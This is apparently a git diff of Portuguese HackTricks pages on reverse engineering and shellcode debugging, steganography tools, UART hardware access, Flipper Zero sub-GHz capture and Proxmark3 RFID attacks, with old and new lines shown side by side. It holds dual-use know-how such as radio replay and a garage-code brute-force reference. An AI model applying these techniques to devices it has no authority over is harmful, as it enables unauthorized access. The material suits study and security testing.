[Plugin ILSpy para Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Você pode tê-lo em qualquer sistema operacional (você pode instalá-lo diretamente do VSCode, sem necessidade de baixar o git. Clique em **Extensões** e **pesquise ILSpy**).\
[Plugin ILSpy para Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Você pode tê-lo em qualquer sistema operacional (pode instalá-lo diretamente do VSCode, sem necessidade de baixar o git. Clique em **Extensões** e **pesquise ILSpy**).\
Se você precisar **descompilar**, **modificar** e **recompilar** novamente, pode usar [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) ou um fork ativamente mantido dele, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Clique com o botão direito -> Modificar Método** para alterar algo dentro de uma função).
### Registro do DNSpy
### Registro DNSpy
Para fazer o **DNSpy registrar algumas informações em um arquivo**, você pode usar este trecho:
Para fazer **DNSpy registrar algumas informações em um arquivo**, você pode usar este trecho:
```cs
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
@ -99,9 +91,9 @@ Em seguida, salve o novo arquivo via _**File >> Save module...**_:
![](<../../.gitbook/assets/image (602).png>)
Isso é necessário porque se você não fizer isso, durante a **execução** várias **otimizações** serão aplicadas ao código e pode ser possível que enquanto depurando um **ponto de interrupção nunca seja atingido** ou algumas **variáveis não existam**.
Isso é necessário porque se você não fizer isso, em **runtime** várias **optimisations** serão aplicadas ao código e pode ser possível que enquanto depurando um **break-point nunca seja atingido** ou algumas **variables não existam**.
Então, se sua aplicação .NET estiver sendo **executada** pelo **IIS**, você pode **reiniciá-la** com:
Então, se sua aplicação .NET estiver sendo **run** pelo **IIS**, você pode **restart** ela com:
```
iisreset /noforce
```
@ -123,7 +115,7 @@ Clique em qualquer módulo em **Módulos** e selecione **Abrir Todos os Módulos
![](<../../.gitbook/assets/image (922).png>)
Clique com o botão direito em qualquer módulo no **Explorador de Assemblies** e clique em **Classificar Assemblies**:
Clique com o botão direito em qualquer módulo em **Explorador de Assemblies** e clique em **Classificar Assemblies**:
![](<../../.gitbook/assets/image (339).png>)
@ -137,7 +129,7 @@ Clique com o botão direito em qualquer módulo no **Explorador de Assemblies**
### Usando IDA
* **Carregar rundll32** (64 bits em C:\Windows\System32\rundll32.exe e 32 bits em C:\Windows\SysWOW64\rundll32.exe)
* Selecionar o depurador **Windbg**
* Selecionar depurador **Windbg**
* Selecionar "**Suspender ao carregar/descarregar biblioteca**"
![](<../../.gitbook/assets/image (868).png>)
@ -155,7 +147,7 @@ Mas, como você pode chegar ao código da DLL que foi carregada? Usando este mé
* **Carregar rundll32** (64 bits em C:\Windows\System32\rundll32.exe e 32 bits em C:\Windows\SysWOW64\rundll32.exe)
* **Alterar a Linha de Comando** (_Arquivo --> Alterar Linha de Comando_) e definir o caminho da dll e a função que você deseja chamar, por exemplo: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* Alterar _Opções --> Configurações_ e selecionar "**Entrada da DLL**".
* Então **inicie a execução**, o depurador irá parar em cada main da dll, em algum momento você irá **parar na entrada da dll da sua dll**. A partir daí, basta procurar os pontos onde você deseja colocar um ponto de interrupção.
* Então **inicie a execução**, o depurador irá parar em cada main da dll, em algum momento você irá **parar na Entrada da dll**. A partir daí, basta procurar os pontos onde você deseja colocar um ponto de interrupção.
Observe que quando a execução é interrompida por qualquer motivo no win64dbg, você pode ver **em qual código você está** olhando no **topo da janela do win64dbg**:
@ -195,7 +187,7 @@ Você pode encontrar uma versão ligeiramente modificada do Blobrunner no seguin
### Depurando um shellcode com jmp2it
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) é muito semelhante ao blobrunner. Ele irá **alocar** o **shellcode** dentro de um espaço de memória e iniciar um **loop eterno**. Você então precisa **anexar o depurador** ao processo, **clicar em iniciar, esperar 2-5 segundos e pressionar parar** e você se encontrará dentro do **loop eterno**. Salte para a próxima instrução do loop eterno, pois será uma chamada ao shellcode, e finalmente você se encontrará executando o shellcode.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) é muito semelhante ao blobrunner. Ele irá **alocar** o **shellcode** dentro de um espaço de memória e iniciar um **loop eterno**. Você então precisa **anexar o depurador** ao processo, **iniciar, esperar 2-5 segundos e pressionar parar** e você se encontrará dentro do **loop eterno**. Salte para a próxima instrução do loop eterno, pois será uma chamada ao shellcode, e finalmente você se encontrará executando o shellcode.
![](<../../.gitbook/assets/image (509).png>)
@ -219,7 +211,7 @@ Você pode ver a pilha, por exemplo, dentro de um despejo hexadecimal:
![](<../../.gitbook/assets/image (186).png>)
### Deobfuscando shellcode e obtendo funções executadas
### Desofuscando shellcode e obtendo funções executadas
Você deve tentar [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
Ele irá te informar coisas como **quais funções** o shellcode está usando e se o shellcode está **decodificando** a si mesmo na memória.
@ -326,7 +318,7 @@ Então, neste tipo de programa, a parte interessante será **como o programa tra
Na imagem anterior, você pode ver que a função é chamada de **FUN\_080015a8** (endereços: _0x080015fa_ e _0x080017ac_).
Nesta função, após algumas operações de inicialização (sem importância):
Nessa função, após algumas operações de inicialização (sem importância):
```c
void FUN_080015a8(void)
@ -359,7 +351,7 @@ uVar2 = DAT_030004dc;
uVar1 = *puVar6;
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
```
A última verificação está checando se **`uVar4`** está nas **últimas Chaves** e não é a chave atual, também chamada de soltar um botão (a chave atual está armazenada em **`uVar1`**).
O último if está verificando se **`uVar4`** está nas **últimas Chaves** e não é a chave atual, também chamada de soltar um botão (a chave atual está armazenada em **`uVar1`**).
```c
if (uVar1 == 4) {
DAT_030000d4 = 0;
@ -408,12 +400,6 @@ Portanto, neste desafio, sabendo os valores dos botões, você precisava **press
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Desofuscação binária)
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,14 +15,6 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## **Extraindo Dados de Arquivos**
### **Binwalk**
@ -174,7 +166,7 @@ ffmpeg -v info -i stego.mp3 -f null -
```
### **WavSteg (WAV)**
WavSteg se destaca em ocultar e extrair dados dentro de arquivos WAV usando a estratégia do bit menos significativo. Está disponível no [GitHub](https://github.com/ragibson/Steganography#WavSteg). Os comandos incluem:
WavSteg se destaca em ocultar e extrair dados dentro de arquivos WAV usando a estratégia do bit menos significativo. Está acessível no [GitHub](https://github.com/ragibson/Steganography#WavSteg). Os comandos incluem:
```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
@ -190,7 +182,7 @@ Uma ferramenta inestimável para inspeção visual e analítica de arquivos de
### **Tons DTMF - Tons de Discagem**
Detectar tons DTMF em arquivos de áudio pode ser realizado através de ferramentas online como [este detector DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html).
Detectar tons DTMF em arquivos de áudio pode ser alcançado através de ferramentas online como [este detector DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html).
## **Outras Técnicas**
@ -212,15 +204,9 @@ Para traduzir Braille, o [Branah Braille Translator](https://www.branah.com/brai
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,60 +15,47 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares de roubo**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
***
## Basic Information
## Informações Básicas
UART é um protocolo serial, o que significa que transfere dados entre componentes um bit de cada vez. Em contraste, os protocolos de comunicação paralela transmitem dados simultaneamente através de múltiplos canais. Protocolos seriais comuns incluem RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express e USB.
Geralmente, a linha é mantida alta (em um valor lógico 1) enquanto o UART está no estado ocioso. Então, para sinalizar o início de uma transferência de dados, o transmissor envia um bit de início para o receptor, durante o qual o sinal é mantido baixo (em um valor lógico 0). Em seguida, o transmissor envia de cinco a oito bits de dados contendo a mensagem real, seguidos por um bit de paridade opcional e um ou dois bits de parada (com um valor lógico 1), dependendo da configuração. O bit de paridade, usado para verificação de erros, raramente é visto na prática. O bit (ou bits) de parada significam o fim da transmissão.
Geralmente, a linha é mantida alta (em um valor lógico 1) enquanto o UART está no estado ocioso. Então, para sinalizar o início de uma transferência de dados, o transmissor envia um bit de início para o receptor, durante o qual o sinal é mantido baixo (em um valor lógico 0). Em seguida, o transmissor envia de cinco a oito bits de dados contendo a mensagem real, seguidos por um bit de paridade opcional e um ou dois bits de parada (com um valor lógico 1), dependendo da configuração. O bit de paridade, usado para verificação de erros, raramente é visto na prática. O bit de parada (ou bits) sinaliza o fim da transmissão.
Chamamos a configuração mais comum de 8N1: oito bits de dados, sem paridade e um bit de parada. Por exemplo, se quisermos enviar o caractere C, ou 0x43 em ASCII, em uma configuração UART 8N1, enviaríamos os seguintes bits: 0 (o bit de início); 0, 1, 0, 0, 0, 0, 1, 1 (o valor de 0x43 em binário), e 0 (o bit de parada).
Chamamos a configuração mais comum de 8N1: oito bits de dados, sem paridade e um bit de parada. Por exemplo, se quisermos enviar o caractere C, ou 0x43 em ASCII, em uma configuração UART 8N1, enviaríamos os seguintes bits: 0 (o bit de início); 0, 1, 0, 0, 0, 0, 1, 1 (o valor de 0x43 em binário) e 0 (o bit de parada).
![](<../../.gitbook/assets/image (764).png>)
Ferramentas de hardware para se comunicar com UART:
* Adaptador USB-para-serial
* Adaptador USB-serial
* Adaptadores com os chips CP2102 ou PL2303
* Ferramenta multifuncional como: Bus Pirate, o Adafruit FT232H, o Shikra ou o Attify Badge
### Identifying UART Ports
### Identificando Portas UART
UART tem 4 portas: **TX**(Transmitir), **RX**(Receber), **Vcc**(Tensão) e **GND**(Terra). Você pode ser capaz de encontrar 4 portas com as letras **`TX`** e **`RX`** **escritas** na PCB. Mas se não houver indicação, você pode precisar tentar encontrá-las usando um **multímetro** ou um **analisador lógico**.
Com um **multímetro** e o dispositivo desligado:
* Para identificar o pino **GND**, use o modo de **Teste de Continuidade**, coloque a ponta de prova preta no terra e teste com a vermelha até ouvir um som do multímetro. Vários pinos GND podem ser encontrados na PCB, então você pode ter encontrado ou não o que pertence ao UART.
* Para identificar a porta **VCC**, configure o **modo de tensão DC** e ajuste para 20 V de tensão. Ponta de prova preta no terra e ponta de prova vermelha no pino. Ligue o dispositivo. Se o multímetro medir uma tensão constante de 3,3 V ou 5 V, você encontrou o pino Vcc. Se você obtiver outras tensões, tente com outros pinos.
* Para identificar a porta **VCC**, configure o **modo de tensão DC** e ajuste para 20 V de tensão. Ponta de prova preta no terra e ponta de prova vermelha no pino. Ligue o dispositivo. Se o multímetro medir uma tensão constante de 3,3 V ou 5 V, você encontrou o pino Vcc. Se você obtiver outras tensões, tente com outras portas.
* Para identificar a porta **TX**, configure o **modo de tensão DC** até 20 V de tensão, ponta de prova preta no terra e ponta de prova vermelha no pino, e ligue o dispositivo. Se você perceber que a tensão flutua por alguns segundos e depois se estabiliza no valor Vcc, você provavelmente encontrou a porta TX. Isso ocorre porque ao ligar, ele envia alguns dados de depuração.
* A porta **RX** seria a mais próxima das outras 3, ela tem a menor flutuação de tensão e o menor valor geral de todos os pinos UART.
Você pode confundir as portas TX e RX e nada aconteceria, mas se você confundir o GND e a porta VCC, pode danificar o circuito.
Você pode confundir as portas TX e RX e nada aconteceria, mas se confundir as portas GND e VCC, você pode queimar o circuito.
Em alguns dispositivos-alvo, a porta UART é desativada pelo fabricante desativando RX ou TX ou até mesmo ambos. Nesse caso, pode ser útil rastrear as conexões na placa de circuito e encontrar algum ponto de quebra. Uma forte dica para confirmar a não detecção do UART e a quebra do circuito é verificar a garantia do dispositivo. Se o dispositivo foi enviado com alguma garantia, o fabricante deixa algumas interfaces de depuração (neste caso, UART) e, portanto, deve ter desconectado o UART e o reconectaria durante a depuração. Esses pinos de quebra podem ser conectados por soldagem ou fios jumper.
### Identifying the UART Baud Rate
### Identificando a Taxa de Baud do UART
A maneira mais fácil de identificar a taxa de baud correta é olhar para a **saída do pino TX e tentar ler os dados**. Se os dados que você recebe não forem legíveis, mude para a próxima taxa de baud possível até que os dados se tornem legíveis. Você pode usar um adaptador USB-para-serial ou um dispositivo multifuncional como o Bus Pirate para fazer isso, emparelhado com um script auxiliar, como [baudrate.py](https://github.com/devttys0/baudrate/). As taxas de baud mais comuns são 9600, 38400, 19200, 57600 e 115200.
A maneira mais fácil de identificar a taxa de baud correta é olhar para a **saída do pino TX e tentar ler os dados**. Se os dados que você recebe não forem legíveis, mude para a próxima taxa de baud possível até que os dados se tornem legíveis. Você pode usar um adaptador USB-serial ou um dispositivo multifuncional como o Bus Pirate para fazer isso, emparelhado com um script auxiliar, como [baudrate.py](https://github.com/devttys0/baudrate/). As taxas de baud mais comuns são 9600, 38400, 19200, 57600 e 115200.
{% hint style="danger" %}
É importante notar que neste protocolo você precisa conectar o TX de um dispositivo ao RX do outro!
{% endhint %}
## CP210X UART to TTY Adapter
## Adaptador CP210X UART para TTY
O Chip CP210X é usado em muitas placas de prototipagem como NodeMCU (com esp8266) para Comunicação Serial. Esses adaptadores são relativamente baratos e podem ser usados para se conectar à interface UART do alvo. O dispositivo tem 5 pinos: 5V, GND, RXD, TXD, 3.3V. Certifique-se de conectar a tensão conforme suportado pelo alvo para evitar danos. Finalmente, conecte o pino RXD do Adaptador ao TXD do alvo e o pino TXD do Adaptador ao RXD do alvo.
@ -86,7 +73,7 @@ Para minicom, use o seguinte comando para configurá-lo:
```
minicom -s
```
Configure as configurações, como baudrate e nome do dispositivo na opção `Configuração da porta serial`.
Configure as configurações, como baudrate e nome do dispositivo na opção `Serial port setup`.
Após a configuração, use o comando `minicom` para iniciar o Console UART.
@ -96,11 +83,11 @@ Caso adaptadores UART Serial para USB não estejam disponíveis, o Arduino UNO R
O Arduino UNO R3 possui um adaptador USB para Serial embutido na própria placa. Para obter a conexão UART, basta retirar o chip microcontrolador Atmel 328p da placa. Este hack funciona em variantes do Arduino UNO R3 que têm o Atmel 328p não soldado na placa (a versão SMD é usada nele). Conecte o pino RX do Arduino (Pino Digital 0) ao pino TX da Interface UART e o pino TX do Arduino (Pino Digital 1) ao pino RX da interface UART.
Finalmente, é recomendado usar o Arduino IDE para obter o Console Serial. Na seção `ferramentas` no menu, selecione a opção `Console Serial` e defina a taxa de transmissão de acordo com a interface UART.
Finalmente, é recomendado usar o Arduino IDE para obter o Console Serial. Na seção `tools` do menu, selecione a opção `Serial Console` e defina a taxa de transmissão de acordo com a interface UART.
## Bus Pirate
Neste cenário, vamos espionar a comunicação UART do Arduino que está enviando todas as impressões do programa para o Monitor Serial.
Neste cenário, vamos espionar a comunicação UART do Arduino que está enviando todos os prints do programa para o Serial Monitor.
```bash
# Check the modes
UART>m
@ -198,18 +185,6 @@ Isso listará os possíveis conteúdos da EEPROM de acordo com as assinaturas en
Embora seja necessário notar que nem sempre o uboot está desbloqueado, mesmo que esteja sendo usado. Se a tecla Enter não fizer nada, verifique outras teclas como a tecla Espaço, etc. Se o bootloader estiver bloqueado e não for interrompido, esse método não funcionará. Para verificar se o uboot é o bootloader do dispositivo, verifique a saída no Console UART enquanto o dispositivo está inicializando. Pode mencionar uboot durante a inicialização.
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -218,7 +193,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Support HackTricks</summary>
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -15,14 +15,6 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Com [**Flipper Zero**](https://flipperzero.one/) você pode:
* **Ouvir/Capturar/Reproduzir frequências de rádio:** [**Sub-GHz**](fz-sub-ghz.md)
@ -36,12 +28,6 @@ Com [**Flipper Zero**](https://flipperzero.one/) você pode:
**Outros recursos do Flipper Zero em** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -10,18 +10,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Intro <a href="#kfpn7" id="kfpn7"></a>
@ -43,7 +36,7 @@ Flipper Zero possui um módulo sub-1 GHz embutido baseado em um [](https://ww
Como encontrar qual frequência o controle remoto está usando
{% endhint %}
Ao analisar, o Flipper Zero está escaneando a força dos sinais (RSSI) em todas as frequências disponíveis na configuração de frequência. O Flipper Zero exibe a frequência com o maior valor de RSSI, com força de sinal superior a -90 [dBm](https://en.wikipedia.org/wiki/DBm).
Ao analisar, o Flipper Zero está escaneando a intensidade dos sinais (RSSI) em todas as frequências disponíveis na configuração de frequência. O Flipper Zero exibe a frequência com o maior valor de RSSI, com intensidade de sinal superior a -90 [dBm](https://en.wikipedia.org/wiki/DBm).
Para determinar a frequência do controle remoto, faça o seguinte:
@ -65,7 +58,7 @@ Neste momento, possui **4 modulações** (AM270, AM650, FM328 e FM476), e **vár
<figure><img src="../../../.gitbook/assets/image (947).png" alt=""><figcaption></figcaption></figure>
Você pode definir **qualquer uma que lhe interesse**, no entanto, se você **não tiver certeza de qual frequência** pode ser a utilizada pelo controle remoto que você possui, **defina Hopping como ON** (Desligado por padrão), e pressione o botão várias vezes até que o Flipper a capture e forneça as informações que você precisa para definir a frequência.
Você pode definir **qualquer uma que lhe interesse**, no entanto, se você **não tiver certeza de qual frequência** pode ser a usada pelo controle remoto que você possui, **defina Hopping como ATIVADO** (Desativado por padrão), e pressione o botão várias vezes até que o Flipper a capture e forneça as informações que você precisa para definir a frequência.
{% hint style="danger" %}
Alternar entre frequências leva algum tempo, portanto, sinais transmitidos no momento da troca podem ser perdidos. Para melhor recepção de sinal, defina uma frequência fixa determinada pelo Analisador de Frequência.
@ -83,7 +76,7 @@ Por padrão, **Ler Raw também está em 433.92 em AM650**, mas se com a opção
### Força Bruta
Se você conhece o protocolo usado, por exemplo, pela porta da garagem, é possível **gerar todos os códigos e enviá-los com o Flipper Zero.** Este é um exemplo que suporta tipos comuns gerais de garagens: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
Se você conhece o protocolo usado, por exemplo, pelo portão da garagem, é possível **gerar todos os códigos e enviá-los com o Flipper Zero.** Este é um exemplo que suporta tipos comuns gerais de garagens: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
### Adicionar Manualmente
@ -94,23 +87,23 @@ Adicionar sinais de uma lista configurada de protocolos
#### Lista de [protocolos suportados](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
| Princeton\_433 (funciona com a maioria dos sistemas de código estático) | 433.92 | Estático |
| --------------------------------------------------------------- | ------ | ------- |
| Nice Flo 12bit\_433 | 433.92 | Estático |
| Nice Flo 24bit\_433 | 433.92 | Estático |
| CAME 12bit\_433 | 433.92 | Estático |
| CAME 24bit\_433 | 433.92 | Estático |
| Linear\_300 | 300.00 | Estático |
| CAME TWEE | 433.92 | Estático |
| Gate TX\_433 | 433.92 | Estático |
| DoorHan\_315 | 315.00 | Dinâmico |
| DoorHan\_433 | 433.92 | Dinâmico |
| LiftMaster\_315 | 315.00 | Dinâmico |
| LiftMaster\_390 | 390.00 | Dinâmico |
| Security+2.0\_310 | 310.00 | Dinâmico |
| Security+2.0\_315 | 315.00 | Dinâmico |
| Security+2.0\_390 | 390.00 | Dinâmico |
| ------------------------------------------------------------------------ | ------ | -------- |
| Nice Flo 12bit\_433 | 433.92 | Estático |
| Nice Flo 24bit\_433 | 433.92 | Estático |
| CAME 12bit\_433 | 433.92 | Estático |
| CAME 24bit\_433 | 433.92 | Estático |
| Linear\_300 | 300.00 | Estático |
| CAME TWEE | 433.92 | Estático |
| Gate TX\_433 | 433.92 | Estático |
| DoorHan\_315 | 315.00 | Dinâmico |
| DoorHan\_433 | 433.92 | Dinâmico |
| LiftMaster\_315 | 315.00 | Dinâmico |
| LiftMaster\_390 | 390.00 | Dinâmico |
| Security+2.0\_310 | 310.00 | Dinâmico |
| Security+2.0\_315 | 315.00 | Dinâmico |
| Security+2.0\_390 | 390.00 | Dinâmico |
### Vendedores Sub-GHz suportados
### Fornecedores Sub-GHz suportados
Confira a lista em [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors)
@ -128,12 +121,6 @@ Obtenha dBms das frequências salvas
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -144,7 +131,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -10,19 +10,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Atacando Sistemas RFID com Proxmark3
A primeira coisa que você precisa fazer é ter um [**Proxmark3**](https://proxmark.com) e [**instalar o software e suas dependências**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
@ -30,7 +22,7 @@ A primeira coisa que você precisa fazer é ter um [**Proxmark3**](https://proxm
### Atacando MIFARE Classic 1KB
